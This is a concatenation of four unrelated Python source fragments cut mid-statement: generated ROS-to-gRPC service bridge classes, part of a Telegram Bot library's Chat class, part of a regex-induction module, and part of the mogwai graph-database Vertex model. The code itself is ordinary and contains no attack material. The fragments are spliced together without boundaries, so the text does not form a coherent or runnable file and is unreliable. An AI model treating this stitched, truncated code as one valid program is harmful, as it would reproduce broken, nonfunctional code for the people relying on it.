pb_msg.config.ints.append(pb_msg_) for ros_msg_ in ros_msg.config.strs: pb_msg_ = ros_pb.dynamic_reconfigure.StrParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.config.strs.append(pb_msg_) for ros_msg_ in ros_msg.config.doubles: pb_msg_ = ros_pb.dynamic_reconfigure.DoubleParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.config.doubles.append(pb_msg_) for ros_msg_ in ros_msg.config.groups: pb_msg_ = ros_pb.dynamic_reconfigure.GroupState() pb_msg_.name = ros_msg_.name pb_msg_.state = ros_msg_.state pb_msg_.id = ros_msg_.id pb_msg_.parent = ros_msg_.parent pb_msg.config.groups.append(pb_msg_) return pb_msg class image_view_unload_nodeletServicer(ros_grpc.image_view_unload_nodeletServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('nodelet/NodeletUnload') rospy.wait_for_service('/image_view/unload_nodelet') call = rospy.ServiceProxy('/image_view/unload_nodelet', Srv) ros_msg = Srv._request_class() ros_msg.name = pb_msg.name ros_msg = call(ros_msg) pb_msg = ros_pb.nodelet.NodeletUnloadResponse() pb_msg.success = ros_msg.success return pb_msg class rosout_get_loggersServicer(ros_grpc.rosout_get_loggersServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('roscpp/GetLoggers') rospy.wait_for_service('/rosout/get_loggers') call = rospy.ServiceProxy('/rosout/get_loggers', Srv) ros_msg = Srv._request_class() ros_msg = call(ros_msg) pb_msg = ros_pb.roscpp.GetLoggersResponse() for ros_msg_ in ros_msg.loggers: pb_msg_ = ros_pb.roscpp.Logger() pb_msg_.name = ros_msg_.name pb_msg_.level = ros_msg_.level pb_msg.loggers.append(pb_msg_) return pb_msg class rosout_set_logger_levelServicer(ros_grpc.rosout_set_logger_levelServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('roscpp/SetLoggerLevel') rospy.wait_for_service('/rosout/set_logger_level') call = rospy.ServiceProxy('/rosout/set_logger_level', Srv) ros_msg = Srv._request_class() ros_msg.logger = pb_msg.logger ros_msg.level = pb_msg.level ros_msg = call(ros_msg) pb_msg = ros_pb.roscpp.SetLoggerLevelResponse() return pb_msg class usb_cam_get_loggersServicer(ros_grpc.usb_cam_get_loggersServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('roscpp/GetLoggers') rospy.wait_for_service('/usb_cam/get_loggers') call = rospy.ServiceProxy('/usb_cam/get_loggers', Srv) ros_msg = Srv._request_class() ros_msg = call(ros_msg) pb_msg = ros_pb.roscpp.GetLoggersResponse() for ros_msg_ in ros_msg.loggers: pb_msg_ = ros_pb.roscpp.Logger() pb_msg_.name = ros_msg_.name pb_msg_.level = ros_msg_.level pb_msg.loggers.append(pb_msg_) return pb_msg class usb_cam_image_raw_compressed_set_parametersServicer(ros_grpc.usb_cam_image_raw_compressed_set_parametersServicer): def Call(self, pb_msg, context): Srv = roslib.message.get_service_class('dynamic_reconfigure/Reconfigure') rospy.wait_for_service('/usb_cam/image_raw/compressed/set_parameters') call = rospy.ServiceProxy('/usb_cam/image_raw/compressed/set_parameters', Srv) ros_msg = Srv._request_class() for pb_msg_ in pb_msg.config.bools: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/BoolParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.config.bools.append(ros_msg_) for pb_msg_ in pb_msg.config.ints: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/IntParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.config.ints.append(ros_msg_) for pb_msg_ in pb_msg.config.strs: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/StrParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.config.strs.append(ros_msg_) for pb_msg_ in pb_msg.config.doubles: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/DoubleParameter')() ros_msg_.name = pb_msg_.name ros_msg_.value = pb_msg_.value ros_msg.config.doubles.append(ros_msg_) for pb_msg_ in pb_msg.config.groups: ros_msg_ = roslib.message.get_message_class('dynamic_reconfigure/GroupState')() ros_msg_.name = pb_msg_.name ros_msg_.state = pb_msg_.state ros_msg_.id = pb_msg_.id ros_msg_.parent = pb_msg_.parent ros_msg.config.groups.append(ros_msg_) ros_msg = call(ros_msg) pb_msg = ros_pb.dynamic_reconfigure.ReconfigureResponse() for ros_msg_ in ros_msg.config.bools: pb_msg_ = ros_pb.dynamic_reconfigure.BoolParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.config.bools.append(pb_msg_) for ros_msg_ in ros_msg.config.ints: pb_msg_ = ros_pb.dynamic_reconfigure.IntParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.config.ints.append(pb_msg_) for ros_msg_ in ros_msg.config.strs: pb_msg_ = ros_pb.dynamic_reconfigure.StrParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.config.strs.append(pb_msg_) for ros_msg_ in ros_msg.config.doubles: pb_msg_ = ros_pb.dynamic_reconfigure.DoubleParameter() pb_msg_.name = ros_msg_.name pb_msg_.value = ros_msg_.value pb_msg.config.doubles.append(pb_msg_) for ros_msg_ in ros_msg.config.groups: pb_msg_ = ros_pb.dynamic_reconfigure.GroupState() pb_msg_.name = ros_msg_.name pb_msg_.state = ros_msg_.state pb_msg_.id =
#!/usr/bin/env python # pylint: disable=W0622 # # A library that provides a Python interface to the Telegram Bot API # Copyright (C) 2015-2021 # <NAME> <<EMAIL>> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser Public License for more details. # # You should have received a copy of the GNU Lesser Public License # along with this program. If not, see [http://www.gnu.org/licenses/]. """This module contains an object that represents a Telegram Chat.""" from datetime import datetime from typing import TYPE_CHECKING, List, Optional, ClassVar, Union, Tuple, Any from telegram import ChatPhoto, TelegramObject, constants from telegram.utils.types import JSONDict, FileInput, ODVInput, DVInput from .chatpermissions import ChatPermissions from .chatlocation import ChatLocation from .utils.helpers import DEFAULT_NONE, DEFAULT_20 if TYPE_CHECKING: from telegram import ( Bot, ChatMember, ChatInviteLink, Message, MessageId, ReplyMarkup, Contact, InlineKeyboardMarkup, Location, Venue, MessageEntity, InputMediaAudio, InputMediaDocument, InputMediaPhoto, InputMediaVideo, PhotoSize, Audio, Document, Animation, LabeledPrice, Sticker, Video, VideoNote, Voice, ) class Chat(TelegramObject): """This object represents a chat. Objects of this class are comparable in terms of equality. Two objects of this class are considered equal, if their :attr:`id` is equal. Args: id (:obj:`int`): Unique identifier for this chat. This number may be greater than 32 bits and some programming languages may have difficulty/silent defects in interpreting it. But it is smaller than 52 bits, so a signed 64 bit integer or double-precision float type are safe for storing this identifier. type (:obj:`str`): Type of chat, can be either 'private', 'group', 'supergroup' or 'channel'. title (:obj:`str`, optional): Title, for supergroups, channels and group chats. username(:obj:`str`, optional): Username, for private chats, supergroups and channels if available. first_name(:obj:`str`, optional): First name of the other party in a private chat. last_name(:obj:`str`, optional): Last name of the other party in a private chat. photo (:class:`telegram.ChatPhoto`, optional): Chat photo. Returned only in :meth:`telegram.Bot.get_chat`. bio (:obj:`str`, optional): Bio of the other party in a private chat. Returned only in :meth:`telegram.Bot.get_chat`. description (:obj:`str`, optional): Description, for groups, supergroups and channel chats. Returned only in :meth:`telegram.Bot.get_chat`. invite_link (:obj:`str`, optional): Primary invite link, for groups, supergroups and channel. Returned only in :meth:`telegram.Bot.get_chat`. pinned_message (:class:`telegram.Message`, optional): The most recent pinned message (by sending date). Returned only in :meth:`telegram.Bot.get_chat`. permissions (:class:`telegram.ChatPermissions`): Optional. Default chat member permissions, for groups and supergroups. Returned only in :meth:`telegram.Bot.get_chat`. slow_mode_delay (:obj:`int`, optional): For supergroups, the minimum allowed delay between consecutive messages sent by each unprivileged user. Returned only in :meth:`telegram.Bot.get_chat`. message_auto_delete_time (:obj:`int`, optional): The time after which all messages sent to the chat will be automatically deleted; in seconds. Returned only in :meth:`telegram.Bot.get_chat`. .. versionadded:: 13.4 bot (:class:`telegram.Bot`, optional): The Bot to use for instance methods. sticker_set_name (:obj:`str`, optional): For supergroups, name of group sticker set. Returned only in :meth:`telegram.Bot.get_chat`. can_set_sticker_set (:obj:`bool`, optional): :obj:`True`, if the bot can change group the sticker set. Returned only in :meth:`telegram.Bot.get_chat`. linked_chat_id (:obj:`int`, optional): Unique identifier for the linked chat, i.e. the discussion group identifier for a channel and vice versa; for supergroups and channel chats. Returned only in :meth:`telegram.Bot.get_chat`. location (:class:`telegram.ChatLocation`, optional): For supergroups, the location to which the supergroup is connected. Returned only in :meth:`telegram.Bot.get_chat`. **kwargs (:obj:`dict`): Arbitrary keyword arguments. Attributes: id (:obj:`int`): Unique identifier for this chat. type (:obj:`str`): Type of chat. title (:obj:`str`): Optional. Title, for supergroups, channels and group chats. username (:obj:`str`): Optional. Username. first_name (:obj:`str`): Optional. First name of the other party in a private chat. last_name (:obj:`str`): Optional. Last name of the other party in a private chat. photo (:class:`telegram.ChatPhoto`): Optional. Chat photo. bio (:obj:`str`): Optional. Bio of the other party in a private chat. Returned only in :meth:`telegram.Bot.get_chat`. description (:obj:`str`): Optional. Description, for groups, supergroups and channel chats. invite_link (:obj:`str`): Optional. Primary invite link, for groups, supergroups and channel. Returned only in :meth:`telegram.Bot.get_chat`. pinned_message (:class:`telegram.Message`): Optional. The most recent pinned message (by sending date). Returned only in :meth:`telegram.Bot.get_chat`. permissions (:class:`telegram.ChatPermissions`): Optional. Default chat member permissions, for groups and supergroups. Returned only in :meth:`telegram.Bot.get_chat`. slow_mode_delay (:obj:`int`): Optional. For supergroups, the minimum allowed delay between consecutive messages sent by each unprivileged user. Returned only in :meth:`telegram.Bot.get_chat`. message_auto_delete_time (:obj:`int`): Optional. The time after which all messages sent to the chat will be automatically deleted; in seconds. Returned only in :meth:`telegram.Bot.get_chat`. .. versionadded:: 13.4 sticker_set_name (:obj:`str`): Optional. For supergroups, name of Group sticker set. can_set_sticker_set (:obj:`bool`): Optional. :obj:`True`, if the bot can change group the sticker set. linked_chat_id (:obj:`int`): Optional. Unique identifier for the linked chat, i.e. the discussion group identifier for a channel and vice versa; for supergroups and channel chats. Returned only in :meth:`telegram.Bot.get_chat`. location (:class:`telegram.ChatLocation`): Optional. For supergroups, the location to which the supergroup is connected. Returned only in :meth:`telegram.Bot.get_chat`. """ SENDER: ClassVar[str] = constants.CHAT_SENDER """:const:`telegram.constants.CHAT_SENDER` .. versionadded:: 13.5 """ PRIVATE: ClassVar[str] = constants.CHAT_PRIVATE """:const:`telegram.constants.CHAT_PRIVATE`""" GROUP: ClassVar[str] = constants.CHAT_GROUP """:const:`telegram.constants.CHAT_GROUP`""" SUPERGROUP: ClassVar[str] = constants.CHAT_SUPERGROUP """:const:`telegram.constants.CHAT_SUPERGROUP`""" CHANNEL: ClassVar[str] = constants.CHAT_CHANNEL """:const:`telegram.constants.CHAT_CHANNEL`""" def __init__( self, id: int, type: str, title: str = None, username: str = None, first_name: str = None, last_name: str = None, bot: 'Bot' = None, photo: ChatPhoto = None, description: str = None, invite_link: str = None, pinned_message: 'Message' = None, permissions: ChatPermissions = None, sticker_set_name: str = None, can_set_sticker_set: bool = None, slow_mode_delay: int = None, bio: str = None, linked_chat_id: int = None, location: ChatLocation = None, message_auto_delete_time: int = None, **_kwargs: Any, ): # Required self.id = int(id) # pylint: disable=C0103 self.type = type # Optionals self.title = title self.username = username self.first_name = first_name self.last_name = last_name # TODO: Remove (also from tests), when Telegram drops this completely self.all_members_are_administrators = _kwargs.get('all_members_are_administrators') self.photo = photo self.bio = bio self.description = description self.invite_link = invite_link self.pinned_message = pinned_message self.permissions = permissions self.slow_mode_delay = slow_mode_delay self.message_auto_delete_time = ( int(message_auto_delete_time) if message_auto_delete_time is not None else None ) self.sticker_set_name = sticker_set_name self.can_set_sticker_set = can_set_sticker_set self.linked_chat_id = linked_chat_id self.location = location self.bot = bot self._id_attrs = (self.id,) @property def full_name(self) -> Optional[str]: """ :obj:`str`: Convenience property. If :attr:`first_name` is not :obj:`None` gives, :attr:`first_name` followed by (if available) :attr:`last_name`. Note: :attr:`full_name` will always be :obj:`None`, if the chat is a (super)group or channel. .. versionadded:: 13.2 """ if not self.first_name: return None if self.last_name: return f'{self.first_name} {self.last_name}' return self.first_name @property def link(self) -> Optional[str]: """:obj:`str`: Convenience property. If the chat has a :attr:`username`, returns a t.me link of the chat.""" if self.username: return f"https://t.me/{self.username}" return None @classmethod def de_json(cls, data: Optional[JSONDict], bot: 'Bot') -> Optional['Chat']: data = cls.parse_data(data) if not data: return None data['photo'] = ChatPhoto.de_json(data.get('photo'), bot) from telegram import Message # pylint: disable=C0415 data['pinned_message'] = Message.de_json(data.get('pinned_message'), bot) data['permissions'] = ChatPermissions.de_json(data.get('permissions'), bot) data['location'] = ChatLocation.de_json(data.get('location'), bot) return cls(bot=bot, **data) def leave(self, timeout: ODVInput[float] = DEFAULT_NONE, api_kwargs: JSONDict = None) -> bool: """Shortcut for:: bot.leave_chat(update.effective_chat.id, *args, **kwargs) For the documentation of the arguments, please see :meth:`telegram.Bot.leave_chat`. Returns: :obj:`bool` If the action was sent successfully. """ return self.bot.leave_chat( chat_id=self.id, timeout=timeout, api_kwargs=api_kwargs, ) def get_administrators( self, timeout: ODVInput[float] = DEFAULT_NONE, api_kwargs: JSONDict = None ) -> List['ChatMember']: """Shortcut for:: bot.get_chat_administrators(update.effective_chat.id, *args, **kwargs) For the documentation of the arguments, please see :meth:`telegram.Bot.get_chat_administrators`. Returns: List[:class:`telegram.ChatMember`]: A list of administrators in a chat. An Array of :class:`telegram.ChatMember` objects that contains information about all chat administrators except other bots. If the chat is a group or a supergroup and no administrators were appointed, only the creator will be returned. """ return self.bot.get_chat_administrators( chat_id=self.id, timeout=timeout, api_kwargs=api_kwargs, ) def get_members_count( self, timeout: ODVInput[float] = DEFAULT_NONE, api_kwargs: JSONDict = None ) -> int: """Shortcut for:: bot.get_chat_members_count(update.effective_chat.id, *args, **kwargs) For the documentation of the arguments, please see :meth:`telegram.Bot.get_chat_members_count`. Returns: :obj:`int` """ return self.bot.get_chat_members_count( chat_id=self.id, timeout=timeout, api_kwargs=api_kwargs, ) def get_member( self, user_id: Union[str, int], timeout:
for part in parts: if level == 0: new_parts.extend(self.merge_fixed_omnipresent_at_pos(part)) elif level == 1: new_parts.extend(self.merge_fixed_only_present_at_pos(part)) else: raise ValueError('Level out of range (%d)' % level) if self.verbose: print('\nOUT:') print(self.aligned_parts(new_parts)) return new_parts def merge_fixed_omnipresent_at_pos(self, patterns): """ Find unusual columns in fixed positions relative to ends. Align those Split and recurse """ lstats = length_stats(patterns) if lstats.max_length <= 1: return [patterns] # nothing to do frags = set() # First find fixed fragments that are present in the first pattern # for this part. for frag in patterns[0]: # first pattern if len(frag) == 4: # fixed frags.add(frag) frags = list(frags) # Now remove fragments that aren't in every pattern for pattern in patterns[1:]: i = 0 while i < len(frags): if not frags[i] in pattern: del frags[i] else: i += 1 if not frags: return [patterns] leftPos = {frag: Counter() for frag in frags} # pos of frag from left rightPos = {frag: Counter() for frag in frags} # ... and from right for pattern in patterns: n = len(pattern) for i, frag in enumerate(pattern): if frag in frags: leftPos[frag][i] += 1 if not lstats.all_same_length: rightPos[frag][n - i] += 1 nPatterns = len(patterns) leftFixed = get_omnipresent_at_pos(leftPos, nPatterns) if leftFixed: return left_parts(patterns, leftFixed) rightFixed = get_omnipresent_at_pos(rightPos, nPatterns, verbose=self.verbose) if rightFixed: return right_parts(patterns, rightFixed) return [patterns] def merge_fixed_only_present_at_pos(self, patterns): """ Find unusual columns in fixed positions relative to ends. Align those Split and recurse """ lstats = length_stats(patterns) if lstats.max_length <= 1: return [patterns] # nothing to do frags = set() # First find fixed fragments from all patterns for pattern in patterns: for frag in pattern: # first pattern if len(frag) == 4: # fixed frags.add(frag) if not frags: return [patterns] leftPos = {frag: Counter() for frag in frags} # pos of frag from left rightPos = {frag: Counter() for frag in frags} # ... and from right for pattern in patterns: n = len(pattern) for i, frag in enumerate(pattern): if frag in frags: leftPos[frag][i] += 1 if not lstats.all_same_length: rightPos[frag][n - i] += 1 nPatterns = len(patterns) leftFixed = get_only_present_at_pos(leftPos) if leftFixed: print('LEFT FOUND!', leftFixed) return left_parts(patterns, leftFixed) rightFixed = get_only_present_at_pos(rightPos, verbose=self.verbose) if rightFixed: print('RIGHT FOUND!', rightFixed) return right_parts(patterns, rightFixed) return [patterns] def join_parts(self, parts): if not parts: return [] out = [[] for i in range(len(parts[0]))] for part in parts: for i, row in enumerate(part): if row: out[i].extend(row) return out def sort_by_length(self, patterns): z = sorted(zip([len(p) for p in patterns], patterns)) return [p for (L, p) in z] def pad(self, p, q): if self.verbose: print(self.vrle2re(self.despecify(p), True)) print(self.vrle2re(self.despecify(q), True)) print() return p # padded def despecify(self, pattern): return list(self.despecify_frag(frag) for frag in pattern) def despecify_frag(self, frag): r, m, M = frag[:3] if m == M == 1: return frag else: return (r, 1, None) if len(frag) == 3 else (r, 1, None, 'fixed') def similarity(self, p, q): return 1 def sample(self, nPerLength): """ Sample strings for potentially faster induction. Only used if over a hundred million distinct strings are given. For now. """ lengths = self.by_length.keys() lengths.sort() examples = [] for L in lengths: x = self.by_length[L] if len(self.by_length[L]) <= nPerLength: examples.extend(x) else: examples.extend(random.sample(x, nPerLength)) return examples def find_non_matches(self): """ Returns all example strings that do not match any of the regular expressions in results. """ failures = self.example_freqs.keys() if self.results: for r in self.results.rex: cr = cre(r) i = len(failures) - 1 while i >= 0: f = failures[i] if re.match(cr, f): del failures[i] i -= 1 return failures def refine_groups(self, pattern, examples): """ Refine the categories for variable run-length-encoded patterns provided by narrowing the characters in the groups. """ regex = cre(self.vrle2re(pattern, tagged=True)) n_groups = len(pattern) group_chars = [set([]) for i in range(n_groups)] group_strings = [set([]) for i in range(n_groups)] n_strings = [0] * n_groups for example in examples: m = re.match(regex, example) if m: for i in range(n_groups): g = m.group(i + 1) if n_strings[i] <= SIZE.MAX_STRINGS_IN_GROUP: group_strings[i].add(g) n_strings[i] = len(group_strings[i]) group_chars[i] = group_chars[i].union(set(list(g))) out = [] Cats = self.Cats for group, (chars, strings, fragment) in enumerate(zip(group_chars, group_strings, pattern)): (c, m, M) = fragment char_str = ''.join(sorted(chars)) fixed = False refined = None if len(strings) == 1: refined = re.escape(list(strings)[0]) m = M = 1 fixed = True elif len(chars) == 1: refined = re.escape(list(chars)[0]) fixed = True elif c == 'C': # Alphanumeric for k in Cats.IncreasinglyGeneralAlphanumerics: cat = getattr(Cats, k) if type(cat) == tuple: print('>>>', cat) code = cat.code if re.match(cat.re_multiple, char_str): refined = re.escape(code) break else: refined = c elif (c == CODE.PUNC and len(chars) <= SIZE.MAX_PUNC_IN_GROUP): # Punctuation refined = '[%s]' % re.escape(char_str) fixed = True else: refined = c if fixed: out.append((refined, m, M, 'fixed')) else: out.append((refined, m, M)) return out def fragment2re(self, fragment, tagged=False, as_re=True): (c, m, M) = fragment[:3] fixed = len(fragment) > 3 Cats = self.Cats regex = c if (fixed or not as_re) else Cats[c].re_string if (m is None or m == 0) and M is None: part = regex + '*' elif M is None: part = regex + '+' elif m == M == 1: part = regex elif m == M: part = regex + ('{%d}' % m) else: part = regex + ('{%d,%s}' % (m, M)) return ('(%s)' % part) if (tagged and not fixed) else part def vrle2re(self, vrles, tagged=False, as_re=True): """ Convert variable run-length-encoded code string to regular expression """ parts = [self.fragment2re(frag, tagged=tagged, as_re=as_re) for frag in vrles] if self.n_stripped > 0: ws = [r'\s*'] parts = ws + parts + ws return poss_term_re(''.join(parts)) def vrle2refrags(self, vrles): """ Convert variable run-length-encoded code string to regular expression and list of fragments """ if self.n_stripped > 0: return ([Fragment(r'\s*', True)] + [Fragment(self.fragment2re(frag, tagged=False, as_re=True), len(frag) < 4) for frag in vrles] + [Fragment(r'\s*', True)]) else: return [Fragment(self.fragment2re(frag, tagged=False, as_re=True), len(frag) < 4) for frag in vrles] def rle2re(self, rles, tagged=False, as_re=True): """ Convert run-length-encoded code string to regular expression """ Cats = self.Cats parts = [] for (c, freq) in rles: desc = Cats[c].re_string if as_re else c part = desc + ('{%d}' % freq if freq > 1 else '') parts.append(('(%s)' % part) if tagged else part) return poss_term_re(''.join(parts)) def humanish_frag(self, frag): as_re = self.fragment2re(frag) return as_re.replace('\\', '').replace(' ', '_') def aligned_parts(self, parts): """ Given a list of parts, each consisting of the fragments from a set of partially aligned patterns, show them aligned, and in a somewhat ambigous, numbered, fairly human-readable, compact form. """ lines = [[] for i in range(len(parts[0]))] widths = [] seps = [] out = [] for part in parts: stats = length_stats(part) for c in range(stats.max_length): # col number in part w = 0 for r, row in enumerate(part): if len(row) > c: frag = self.humanish_frag(row[c]) lines[r].append(frag) w = max(w, len(frag)) else: lines[r].append('') seps.append(' ') widths.append(w) if stats.max_length: seps[-1] = '|' header = '|' + ''.join((ndigits(w, i) + seps[i - 1]) for i, w in enumerate(widths, 1)) fmts = ['%%%ds' % w for w in widths] body = '\n '.join(' '.join(fmt % frag for (fmt, frag) in zip(fmts, line)) for line in lines) return '\n'.join([header, ' ' + body]) def __str__(self): return str(self.results or 'No results (yet)') def run_length_encode(s): """ Return run-length-encoding of string s, e.g. 'CCC-BB-A' --> (('C', 3), ('-', 1), ('B', 2), ('-', 1), ('A', 1)) """ out = [] last = None n = 0 for c in s: if c == last: n += 1 else: if last is not None: out.append((last, n)) last = c n = 1 if last is not None: out.append((last, n)) return tuple(out) def signature(rle): """ Return the sequence of characters in a run-length encoding (i.e. the signature). Also works with variable run-length encodings """ return ''.join(r[0] for r in rle) def to_vrles(rles): """ Convert a list of run-length encodings to a list of variable run-length encodings, one for each common signature. For
from __future__ import unicode_literals import inspect import logging from mogwai._compat import array_types, string_types, add_metaclass, integer_types, float_types from mogwai import connection from mogwai.exceptions import MogwaiException, ElementDefinitionException, MogwaiQueryError from mogwai.gremlin import GremlinMethod from .element import Element, ElementMetaClass, vertex_types logger = logging.getLogger(__name__) class VertexMetaClass(ElementMetaClass): """Metaclass for vertices.""" def __new__(mcs, name, bases, body): #short circuit element_type inheritance body['element_type'] = body.pop('element_type', None) klass = super(VertexMetaClass, mcs).__new__(mcs, name, bases, body) if not klass.__abstract__: element_type = klass.get_element_type() if element_type in vertex_types and str(vertex_types[element_type]) != str(klass): logger.debug(ElementDefinitionException("%s is already registered as a vertex: \n\tmcs: %s\n\tname: %s\n\tbases: %s\n\tbody: %s" % (element_type, mcs, name, bases, body))) else: vertex_types[element_type] = klass ##index requested indexed columns #klass._create_indices() return klass class EnumVertexBaseMeta(VertexMetaClass): """ This metaclass allows you to access MyVertexModel as if it were an enum. Ex. MyVertexModel.FOO The values are cached in a dictionary. This is useful if the number of MyVertexModels is small, however it it grows too large, you should be doing it a different way. This looks for a special (optional) function named `enum_generator` in your model and calls that to generate the ENUM for the model. There is an additional optional model attribute that can be set `__enum_id_only__` (defaults to True) which dictates whether or not just the Vertex ID is stored, or the whole Vertex in cache. """ enums = None def __getattr__(cls, key): # property name to use for keying for the enum # method for handling name mangling, default to passthrough mode which subs spaces for underscores and caps store_model = getattr(cls, '__enum_id_only__', True) def get_enum_keyword(enum): return getattr(enum, 'enum_generator', lambda: (getattr(enum, 'name', '').replace(' ', '_').upper()))() if key.isupper(): if cls.enums is None: cls.enums = dict( [(get_enum_keyword(enum), enum._id if store_model else enum) for enum in cls.all()] ) id = cls.enums.get(key, None) if not id: # make one attempt to load any new models cls.enums = dict( [(get_enum_keyword(enum), enum._id if store_model else enum) for enum in cls.all()] ) id = cls.enums.get(key, None) if not id: raise AttributeError(key) return id else: return super(EnumVertexBaseMeta, cls).__getattr__(key) @add_metaclass(VertexMetaClass) class Vertex(Element): """ The Vertex model base class. The element type is auto-generated from the subclass name, but can optionally be set manually """ #__metaclass__ = VertexMetaClass __abstract__ = True gremlin_path = 'vertex.groovy' _save_vertex = GremlinMethod() _delete_vertex = GremlinMethod() _traversal = GremlinMethod() _delete_related = GremlinMethod() _find_vertex_by_value = GremlinMethod(classmethod=True) element_type = None FACTORY_CLASS = None def __repr__(self): return "{}(element_type={}, id={}, values={})".format(self.__class__.__name__, self.element_type, getattr(self, '_id', None), getattr(self, '_values', {})) def __getstate__(self): state = {'_id': self.id, '_type': 'vertex'} properties = self.as_save_params() properties['element_type'] = self.get_element_type() state['_properties'] = properties return state def __setstate__(self, state): self.__init__(**self.translate_db_fields(state)) return self @classmethod def find_by_value(cls, field, value, as_dict=False): """ Returns vertices that match the given field/value pair. :param field: The field to search :type field: str :param value: The value of the field :type value: str :param as_dict: Return results as a dictionary :type as_dict: boolean :rtype: [mogwai.models.Vertex] """ _field = cls.get_property_by_name(field) _element_type = cls.get_element_type() value_type = False if isinstance(value, integer_types + float_types): value_type = True results = cls._find_vertex_by_value( value_type=value_type, element_type=_element_type, field=_field, value=value ) if as_dict: # pragma: no cover return {v._id: v for v in results} return results @classmethod def get_element_type(cls): """ Returns the element type for this vertex. @returns: str """ return cls._type_name(cls.element_type) @classmethod def all(cls, ids=[], as_dict=False, match_length=True, *args, **kwargs): """ Load all vertices with the given ids from the graph. By default this will return a list of vertices but if as_dict is True then it will return a dictionary containing ids as keys and vertices found as values. :param ids: A list of titan ids :type ids: list :param as_dict: Toggle whether to return a dictionary or list :type as_dict: boolean :rtype: dict | list """ if not isinstance(ids, array_types): raise MogwaiQueryError("ids must be of type list or tuple") if len(ids) == 0: results = connection.execute_query('g.V("element_type","%s").toList()' % cls.get_element_type(), **kwargs) else: strids = [str(i) for i in ids] results = connection.execute_query('ids.collect{g.v(it)}', {'ids': strids}, **kwargs) results = list(filter(None, results)) if len(results) != len(ids) and match_length: raise MogwaiQueryError("the number of results don't match the number of ids requested") objects = [] for r in results: try: objects += [Element.deserialize(r)] except KeyError: # pragma: no cover raise MogwaiQueryError('Vertex type "%s" is unknown' % r.get('element_type', '')) if as_dict: # pragma: no cover return {v._id: v for v in objects} return objects def _reload_values(self, *args, **kwargs): """ Method for reloading the current vertex by reading its current values from the database. """ reloaded_values = {} results = connection.execute_query('g.v(id)', {'id': self._id}, **kwargs) #del results['_id'] del results['_type'] reloaded_values['_id'] = results['_id'] for name, value in results.get('_properties', {}).items(): reloaded_values[name] = value return reloaded_values @classmethod def get(cls, id, *args, **kwargs): """ Look up vertex by its ID. Raises a DoesNotExist exception if a vertex with the given vid was not found. Raises a MultipleObjectsReturned exception if the vid corresponds to more than one vertex in the graph. :param id: The ID of the vertex :type id: str :rtype: mogwai.models.Vertex """ try: results = cls.all([id], **kwargs) if len(results) > 1: # pragma: no cover # This requires to titan to be broken. raise cls.MultipleObjectsReturned result = results[0] if not isinstance(result, cls): raise cls.WrongElementType( '%s is not an instance or subclass of %s' % (result.__class__.__name__, cls.__name__) ) return result except MogwaiQueryError as e: logger.exception(e) raise cls.DoesNotExist def save(self, *args, **kwargs): """ Save the current vertex using the configured save strategy, the default save strategy is to re-save all fields every time the object is saved. """ super(Vertex, self).save() params = self.as_save_params() params['element_type'] = self.get_element_type() result = self._save_vertex(params, **kwargs) self._id = result._id for k, v in self._values.items(): v.previous_value = result._values[k].previous_value return result def delete(self): """ Delete the current vertex from the graph. """ if self.__abstract__: raise MogwaiQueryError('Cant delete abstract elements') if self._id is None: # pragma: no cover return self self._delete_vertex() def _simple_traversal(self, operation, labels, limit=None, offset=None, types=None): """ Perform simple graph database traversals with ubiquitous pagination. :param operation: The operation to be performed :type operation: str :param labels: The edge labels to be used :type labels: list of Edges or strings :param start: The starting offset :type start: int :param max_results: The maximum number of results to return :type max_results: int :param types: The list of allowed result elements :type types: list """ from mogwai.models.edge import Edge label_strings = [] for label in labels: if inspect.isclass(label) and issubclass(label, Edge): label_string = label.get_label() elif isinstance(label, Edge): label_string = label.get_label() elif isinstance(label, string_types): label_string = label else: raise MogwaiException('traversal labels must be edge classes, instances, or strings') label_strings.append(label_string) allowed_elts = None if types is not None: allowed_elts = [] for e in types: if issubclass(e, Vertex): allowed_elts += [e.get_element_type()] elif issubclass(e, Edge): allowed_elts += [e.get_label()] if limit is not None and offset is not None: start = offset end = offset + limit else: start = end = None return self._traversal(operation, label_strings, start, end, allowed_elts) def _simple_deletion(self, operation, labels): """ Perform simple bulk graph deletion operation. :param operation: The operation to be performed :type operation: str :param labels: The edge label to be used :type labels: str or Edge """ from mogwai.models.edge import Edge label_strings = [] for label in labels: if inspect.isclass(label) and issubclass(label, Edge): label_string = label.get_label() elif isinstance(label, Edge): label_string = label.get_label() elif isinstance(label, string_types): label_string = label else: raise MogwaiException('traversal labels must be edge classes, instances, or strings') label_strings.append(label_string) return self._delete_related(operation, label_strings) def outV(self, *labels, **kwargs): """ Return a list of vertices reached by traversing the outgoing edge with the given label. :param labels: pass in the labels to follow in as positional arguments :type labels: str or BaseEdge :param limit: The number of the page to start returning results at :type limit: int or None :param offset: The maximum number of results to return :type offset: int or None :param types: A list of allowed element types :type types: list """ return self._simple_traversal('outV', labels, **kwargs) def inV(self, *labels, **kwargs): """ Return a list of vertices reached by traversing the incoming edge
